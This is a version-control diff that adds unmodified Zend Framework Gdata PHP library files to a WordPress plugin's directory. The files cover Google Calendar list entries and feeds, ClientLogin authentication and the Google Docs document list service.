@@ -0,0 +1,176 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the gCal:webContent element used by the Calendar data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_Extension_WebContent extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootNamespace = 'gCal';
+    protected $_rootElement = 'webContent';
+    protected $_url = null;
+    protected $_height = null;
+    protected $_width = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Calendar_Extension_WebContent object.
+     * @param string $url (optional) The value for this element's URL attribute.
+     * @param string $height (optional) The value for this element's height attribute.
+     * @param string $width (optional) The value for this element's width attribute.
+     */
+    public function __construct($url = null, $height = null, $width = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct();
+        $this->_url = $url;
+        $this->_height = $height;
+        $this->_width = $width;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->url != null) {
+            $element->setAttribute('url', $this->_url);
+        }
+        if ($this->height != null) {
+            $element->setAttribute('height', $this->_height);
+        }
+        if ($this->width != null) {
+            $element->setAttribute('width', $this->_width);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+                case 'url':
+                        $this->_url = $attribute->nodeValue;
+                        break;
+                case 'height':
+                        $this->_height = $attribute->nodeValue;
+                        break;
+                case 'width':
+                        $this->_width = $attribute->nodeValue;
+                        break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's URL attribute.
+     *
+     * @return string The desired value for this attribute.
+     */
+    public function getURL()
+    {
+        return $this->_url;
+    }
+
+    /**
+     * Set the value for this element's URL attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_WebContent The element being modified.
+     */
+    public function setURL($value)
+    {
+        $this->_url = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's height attribute.
+     *
+     * @return int The desired value for this attribute.
+     */
+    public function getHeight()
+    {
+        return $this->_height;
+    }
+
+    /**
+     * Set the value for this element's height attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_WebContent The element being modified.
+     */
+    public function setHeight($value)
+    {
+        $this->_height = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's height attribute.
+     *
+     * @return int The desired value for this attribute.
+     */
+    public function getWidth()
+    {
+        return $this->_width;
+    }
+
+    /**
+     * Set the value for this element's height attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_Calendar_Extension_WebContent The element being modified.
+     */
+    public function setWidth($value)
+    {
+        $this->_width = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/ListEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/ListEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/ListEntry.php	(revision 44)
@@ -0,0 +1,245 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Calendar_Extension_AccessLevel
+ */
+require_once 'Zend/Gdata/Calendar/Extension/AccessLevel.php';
+
+/**
+ * @see Zend_Calendar_Extension_Color
+ */
+require_once 'Zend/Gdata/Calendar/Extension/Color.php';
+
+/**
+ * @see Zend_Calendar_Extension_Hidden
+ */
+require_once 'Zend/Gdata/Calendar/Extension/Hidden.php';
+
+/**
+ * @see Zend_Calendar_Extension_Selected
+ */
+require_once 'Zend/Gdata/Calendar/Extension/Selected.php';
+
+/**
+ * @see Zend_Gdata_Extension_EventStatus
+ */
+require_once 'Zend/Gdata/Extension/EventStatus.php';
+
+/**
+ * @see Zend_Gdata_Extension_Visibility
+ */
+require_once 'Zend/Gdata/Extension/Visibility.php';
+
+
+/**
+ * @see Zend_Extension_Where
+ */
+require_once 'Zend/Gdata/Extension/Where.php';
+
+/**
+ * Represents a Calendar entry in the Calendar data API meta feed of a user's
+ * calendars.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_ListEntry extends Zend_Gdata_Entry
+{
+
+    protected $_color = null;
+    protected $_accessLevel = null;
+    protected $_hidden = null;
+    protected $_selected = null;
+    protected $_timezone = null;
+    protected $_where = array();
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_accessLevel != null) {
+            $element->appendChild($this->_accessLevel->getDOM($element->ownerDocument));
+        }
+        if ($this->_color != null) {
+            $element->appendChild($this->_color->getDOM($element->ownerDocument));
+        }
+        if ($this->_hidden != null) {
+            $element->appendChild($this->_hidden->getDOM($element->ownerDocument));
+        }
+        if ($this->_selected != null) {
+            $element->appendChild($this->_selected->getDOM($element->ownerDocument));
+        }
+        if ($this->_timezone != null) {
+            $element->appendChild($this->_timezone->getDOM($element->ownerDocument));
+        }
+        if ($this->_where != null) {
+            foreach ($this->_where as $where) {
+                $element->appendChild($where->getDOM($element->ownerDocument));
+            }
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gCal') . ':' . 'accesslevel';
+            $accessLevel = new Zend_Gdata_Calendar_Extension_AccessLevel();
+            $accessLevel->transferFromDOM($child);
+            $this->_accessLevel = $accessLevel;
+            break;
+        case $this->lookupNamespace('gCal') . ':' . 'color';
+            $color = new Zend_Gdata_Calendar_Extension_Color();
+            $color->transferFromDOM($child);
+            $this->_color = $color;
+            break;
+        case $this->lookupNamespace('gCal') . ':' . 'hidden';
+            $hidden = new Zend_Gdata_Calendar_Extension_Hidden();
+            $hidden->transferFromDOM($child);
+            $this->_hidden = $hidden;
+            break;
+        case $this->lookupNamespace('gCal') . ':' . 'selected';
+            $selected = new Zend_Gdata_Calendar_Extension_Selected();
+            $selected->transferFromDOM($child);
+            $this->_selected = $selected;
+            break;
+        case $this->lookupNamespace('gCal') . ':' . 'timezone';
+            $timezone = new Zend_Gdata_Calendar_Extension_Timezone();
+            $timezone->transferFromDOM($child);
+            $this->_timezone = $timezone;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'where';
+            $where = new Zend_Gdata_Extension_Where();
+            $where->transferFromDOM($child);
+            $this->_where[] = $where;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    public function getAccessLevel()
+    {
+        return $this->_accessLevel;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_AccessLevel $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setAccessLevel($value)
+    {
+        $this->_accessLevel = $value;
+        return $this;
+    }
+    public function getColor()
+    {
+        return $this->_color;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_Color $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setColor($value)
+    {
+        $this->_color = $value;
+        return $this;
+    }
+
+    public function getHidden()
+    {
+        return $this->_hidden;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_Hidden $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setHidden($value)
+    {
+        $this->_hidden = $value;
+        return $this;
+    }
+
+    public function getSelected()
+    {
+        return $this->_selected;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_Selected $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setSelected($value)
+    {
+        $this->_selected = $value;
+        return $this;
+    }
+
+    public function getTimezone()
+    {
+        return $this->_timezone;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_Timezone $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setTimezone($value)
+    {
+        $this->_timezone = $value;
+        return $this;
+    }
+
+    public function getWhere()
+    {
+        return $this->_where;
+    }
+
+    /**
+     * @param Zend_Gdata_Extension_Where $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setWhere($value)
+    {
+        $this->_where = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/ListFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/ListFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Calendar/ListFeed.php	(revision 44)
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Extension_Timezone
+ */
+require_once 'Zend/Gdata/Calendar/Extension/Timezone.php';
+
+/**
+ * Represents the meta-feed list of calendars
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Calendar
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Calendar_ListFeed extends Zend_Gdata_Feed
+{
+    protected $_timezone = null;
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Calendar_ListEntry';
+
+    /**
+     * The classname for the feed.
+     *
+     * @var string
+     */
+    protected $_feedClassName = 'Zend_Gdata_Calendar_ListFeed';
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Calendar::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_timezone != null) {
+            $element->appendChild($this->_timezone->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gCal') . ':' . 'timezone';
+            $timezone = new Zend_Gdata_Calendar_Extension_Timezone();
+            $timezone->transferFromDOM($child);
+            $this->_timezone = $timezone;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    public function getTimezone()
+    {
+        return $this->_timezone;
+    }
+
+    /**
+     * @param Zend_Gdata_Calendar_Extension_Timezone $value
+     * @return Zend_Gdata_Extension_ListEntry Provides a fluent interface
+     */
+    public function setTimezone($value)
+    {
+        $this->_timezone = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/ClientLogin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/ClientLogin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/ClientLogin.php	(revision 44)
@@ -0,0 +1,181 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_HttpClient
+ */
+require_once 'Zend/Gdata/HttpClient.php';
+
+/**
+ * Zend_Version
+ */
+require_once 'Zend/Version.php';
+
+/**
+ * Class to facilitate Google's "Account Authentication
+ * for Installed Applications" also known as "ClientLogin".
+ * @see http://code.google.com/apis/accounts/AuthForInstalledApps.html
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_ClientLogin
+{
+
+    /**
+     * The Google client login URI
+     *
+     */
+    const CLIENTLOGIN_URI = 'https://www.google.com/accounts/ClientLogin';
+
+    /**
+     * The default 'source' parameter to send to Google
+     *
+     */
+    const DEFAULT_SOURCE = 'Zend-ZendFramework';
+
+    /**
+     * Set Google authentication credentials.
+     * Must be done before trying to do any Google Data operations that
+     * require authentication.
+     * For example, viewing private data, or posting or deleting entries.
+     *
+     * @param string $email
+     * @param string $password
+     * @param string $service
+     * @param Zend_Gdata_HttpClient $client
+     * @param string $source
+     * @param string $loginToken The token identifier as provided by the server.
+     * @param string $loginCaptcha The user's response to the CAPTCHA challenge.
+     * @param string $accountType An optional string to identify whether the
+     * account to be authenticated is a google or a hosted account. Defaults to 
+     * 'HOSTED_OR_GOOGLE'. See: http://code.google.com/apis/accounts/docs/AuthForInstalledApps.html#Request
+     * @throws Zend_Gdata_App_AuthException
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_App_CaptchaRequiredException
+     * @return Zend_Gdata_HttpClient
+     */
+    public static function getHttpClient($email, $password, $service = 'xapi',
+        $client = null,
+        $source = self::DEFAULT_SOURCE,
+        $loginToken = null,
+        $loginCaptcha = null,
+        $loginUri = self::CLIENTLOGIN_URI,
+        $accountType = 'HOSTED_OR_GOOGLE')
+    {
+        if (! ($email && $password)) {
+            require_once 'Zend/Gdata/App/AuthException.php';
+            throw new Zend_Gdata_App_AuthException(
+                   'Please set your Google credentials before trying to ' .
+                   'authenticate');
+        }
+
+        if ($client == null) {
+            $client = new Zend_Gdata_HttpClient();
+        }
+        if (!$client instanceof Zend_Http_Client) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException(
+                    'Client is not an instance of Zend_Http_Client.');
+        }
+
+        // Build the HTTP client for authentication
+        $client->setUri($loginUri);
+        $useragent = $source . ' Zend_Framework_Gdata/' . Zend_Version::VERSION;
+        $client->setConfig(array(
+                'maxredirects'    => 0,
+                'strictredirects' => true,
+                'useragent' => $useragent
+            )
+        );
+        $client->setParameterPost('accountType', $accountType);
+        $client->setParameterPost('Email', (string) $email);
+        $client->setParameterPost('Passwd', (string) $password);
+        $client->setParameterPost('service', (string) $service);
+        $client->setParameterPost('source', (string) $source);
+        if ($loginToken || $loginCaptcha) {
+            if($loginToken && $loginCaptcha) {
+                $client->setParameterPost('logintoken', (string) $loginToken);
+                $client->setParameterPost('logincaptcha', 
+                        (string) $loginCaptcha);
+            }
+            else {
+                require_once 'Zend/Gdata/App/AuthException.php';
+                throw new Zend_Gdata_App_AuthException(
+                    'Please provide both a token ID and a user\'s response ' .
+                    'to the CAPTCHA challenge.');
+            }
+        }
+
+        // Send the authentication request
+        // For some reason Google's server causes an SSL error. We use the
+        // output buffer to supress an error from being shown. Ugly - but works!
+        ob_start();
+        try {
+            $response = $client->request('POST');
+        } catch (Zend_Http_Client_Exception $e) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException($e->getMessage(), $e);
+        }
+        ob_end_clean();
+
+        // Parse Google's response
+        $goog_resp = array();
+        foreach (explode("\n", $response->getBody()) as $l) {
+            $l = chop($l);
+            if ($l) {
+                list($key, $val) = explode('=', chop($l), 2);
+                $goog_resp[$key] = $val;
+            }
+        }
+
+        if ($response->getStatus() == 200) {
+            $client->setClientLoginToken($goog_resp['Auth']);
+            $useragent = $source . ' Zend_Framework_Gdata/' . Zend_Version::VERSION;
+            $client->setConfig(array(
+                    'strictredirects' => true,
+                    'useragent' => $useragent
+                )
+            );
+            return $client;
+
+        } elseif ($response->getStatus() == 403) {
+            // Check if the server asked for a CAPTCHA
+            if (array_key_exists('Error', $goog_resp) &&
+                $goog_resp['Error'] == 'CaptchaRequired') {
+                require_once 'Zend/Gdata/App/CaptchaRequiredException.php';
+                throw new Zend_Gdata_App_CaptchaRequiredException(
+                    $goog_resp['CaptchaToken'], $goog_resp['CaptchaUrl']);
+            }
+            else {
+                require_once 'Zend/Gdata/App/AuthException.php';
+                throw new Zend_Gdata_App_AuthException('Authentication with Google failed. Reason: ' .
+                    (isset($goog_resp['Error']) ? $goog_resp['Error'] : 'Unspecified.'));
+            }
+        }
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs.php	(revision 44)
@@ -0,0 +1,256 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_Docs_DocumentListFeed
+ */
+require_once 'Zend/Gdata/Docs/DocumentListFeed.php';
+
+/**
+ * @see Zend_Gdata_Docs_DocumentListEntry
+ */
+require_once 'Zend/Gdata/Docs/DocumentListEntry.php';
+
+/**
+ * Service class for interacting with the Google Document List data API
+ * @link http://code.google.com/apis/documents/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Docs extends Zend_Gdata
+{
+
+    const DOCUMENTS_LIST_FEED_URI = 'http://docs.google.com/feeds/documents/private/full';
+    const AUTH_SERVICE_NAME = 'writely';
+
+    protected $_defaultPostUri = self::DOCUMENTS_LIST_FEED_URI;
+
+    private static $SUPPORTED_FILETYPES = array(
+      'CSV'=>'text/csv',
+      'DOC'=>'application/msword',
+      'ODS'=>'application/vnd.oasis.opendocument.spreadsheet',
+      'ODT'=>'application/vnd.oasis.opendocument.text',
+      'RTF'=>'application/rtf',
+      'SXW'=>'application/vnd.sun.xml.writer',
+      'TXT'=>'text/plain',
+      'XLS'=>'application/vnd.ms-excel');
+
+    /**
+     * Create Gdata_Docs object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Docs');
+        parent::__construct($client, $applicationId);
+        $this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
+    }
+
+    /**
+     * Looks up the mime type based on the file name extension. For example,
+     * calling this method with 'csv' would return 
+     * 'text/comma-separated-values'. The Mime type is sent as a header in 
+     * the upload HTTP POST request.
+     *
+     * @param string $fileExtension 
+     * @return string The mime type to be sent to the server to tell it how the
+     *          multipart mime data should be interpreted.
+     */
+    public static function lookupMimeType($fileExtension) {
+      return self::$SUPPORTED_FILETYPES[strtoupper($fileExtension)];
+    }
+
+    /**
+     * Retreive feed object containing entries for the user's documents.
+     *
+     * @param mixed $location The location for the feed, as a URL or Query
+     * @return Zend_Gdata_Docs_DocumentListFeed
+     */
+    public function getDocumentListFeed($location = null)
+    {
+        if ($location === null) {
+            $uri = self::DOCUMENTS_LIST_FEED_URI;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Docs_DocumentListFeed');
+    }
+
+    /**
+     * Retreive entry object representing a single document.
+     *
+     * @param mixed $location The location for the entry, as a URL or Query
+     * @return Zend_Gdata_Docs_DocumentListEntry
+     */
+    public function getDocumentListEntry($location = null)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Docs_DocumentListEntry');
+    }
+
+    /**
+     * Retreive entry object representing a single document.
+     *
+     * This method builds the URL where this item is stored using the type
+     * and the id of the document.
+     * @param string $docId The URL key for the document. Examples: 
+     *     dcmg89gw_62hfjj8m, pKq0CzjiF3YmGd0AIlHKqeg
+     * @param string $docType The type of the document as used in the Google
+     *     Document List URLs. Examples: document, spreadsheet, presentation
+     * @return Zend_Gdata_Docs_DocumentListEntry
+     */
+    public function getDoc($docId, $docType) {
+        $location = 'http://docs.google.com/feeds/documents/private/full/' . 
+            $docType . '%3A' . $docId;
+        return $this->getDocumentListEntry($location);
+    }
+
+    /**
+     * Retreive entry object for the desired word processing document.
+     *
+     * @param string $id The URL id for the document. Example: 
+     *     dcmg89gw_62hfjj8m
+     */
+    public function getDocument($id) {
+      return $this->getDoc($id, 'document');
+    }
+    
+    /**
+     * Retreive entry object for the desired spreadsheet.
+     *
+     * @param string $id The URL id for the document. Example: 
+     *     pKq0CzjiF3YmGd0AIlHKqeg
+     */
+    public function getSpreadsheet($id) {
+      return $this->getDoc($id, 'spreadsheet');
+    }
+    
+    /**
+     * Retreive entry object for the desired presentation.
+     *
+     * @param string $id The URL id for the document. Example: 
+     *     dcmg89gw_21gtrjcn
+     */
+    public function getPresentation($id) {
+      return $this->getDoc($id, 'presentation');
+    }
+
+    /**
+     * Upload a local file to create a new Google Document entry. 
+     *
+     * @param string $fileLocation The full or relative path of the file to
+     *         be uploaded.
+     * @param string $title The name that this document should have on the 
+     *         server. If set, the title is used as the slug header in the
+     *         POST request. If no title is provided, the location of the 
+     *         file will be used as the slug header in the request. If no 
+     *         mimeType is provided, this method attempts to determine the
+     *         mime type based on the slugHeader by looking for .doc, 
+     *         .csv, .txt, etc. at the end of the file name.
+     *         Example value: 'test.doc'.
+     * @param string $mimeType Describes the type of data which is being sent
+     *         to the server. This must be one of the accepted mime types 
+     *         which are enumerated in SUPPORTED_FILETYPES.
+     * @param string $uri (optional) The URL to which the upload should be 
+     *         made.
+     *         Example: 'http://docs.google.com/feeds/documents/private/full'.
+     * @return Zend_Gdata_Docs_DocumentListEntry The entry for the newly 
+     *         created Google Document.
+     */
+    public function uploadFile($fileLocation, $title=null, $mimeType=null, 
+                               $uri=null)
+    {
+        // Set the URI to which the file will be uploaded.
+        if ($uri === null) {
+            $uri = $this->_defaultPostUri;
+        }
+        
+        // Create the media source which describes the file.
+        $fs = $this->newMediaFileSource($fileLocation);
+        if ($title !== null) {
+            $slugHeader = $title;
+        } else {
+            $slugHeader = $fileLocation;
+        }
+        
+        // Set the slug header to tell the Google Documents server what the 
+        // title of the document should be and what the file extension was 
+        // for the original file.
+        $fs->setSlug($slugHeader);
+
+        // Set the mime type of the data.
+        if ($mimeType === null) {
+          $slugHeader =  $fs->getSlug();
+          $filenameParts = explode('.', $slugHeader);
+          $fileExtension = end($filenameParts);
+          $mimeType = self::lookupMimeType($fileExtension);
+        }
+        
+        // Set the mime type for the upload request.
+        $fs->setContentType($mimeType);
+        
+        // Send the data to the server.
+        return $this->insertDocument($fs, $uri);
+    }
+
+    /**
+     * Inserts an entry to a given URI and returns the response as an Entry.
+     *
+     * @param mixed  $data The Zend_Gdata_Docs_DocumentListEntry or media 
+     *         source to post. If it is a DocumentListEntry, the mediaSource
+     *         should already have been set. If $data is a mediaSource, it 
+     *         should have the correct slug header and mime type.
+     * @param string $uri POST URI
+     * @param string $className (optional) The class of entry to be returned. 
+     *         The default is a 'Zend_Gdata_Docs_DocumentListEntry'.
+     * @return Zend_Gdata_Docs_DocumentListEntry The entry returned by the 
+     *     service after insertion.
+     */
+    public function insertDocument($data, $uri, 
+        $className='Zend_Gdata_Docs_DocumentListEntry')
+    {
+        return $this->insertEntry($data, $uri, $className);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/DocumentListEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/DocumentListEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Docs/DocumentListEntry.php	(revision 44)
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_EntryAtom
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * Represents a Documents List entry in the Documents List data API meta feed
+ * of a user's documents.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Docs
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Docs_DocumentListEntry extends Zend_Gdata_Entry
+{
+
+    /**
+     * Create a new instance of an entry representing a document.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Docs::$namespaces);
+        parent::__construct($element);
+    }
+
+}
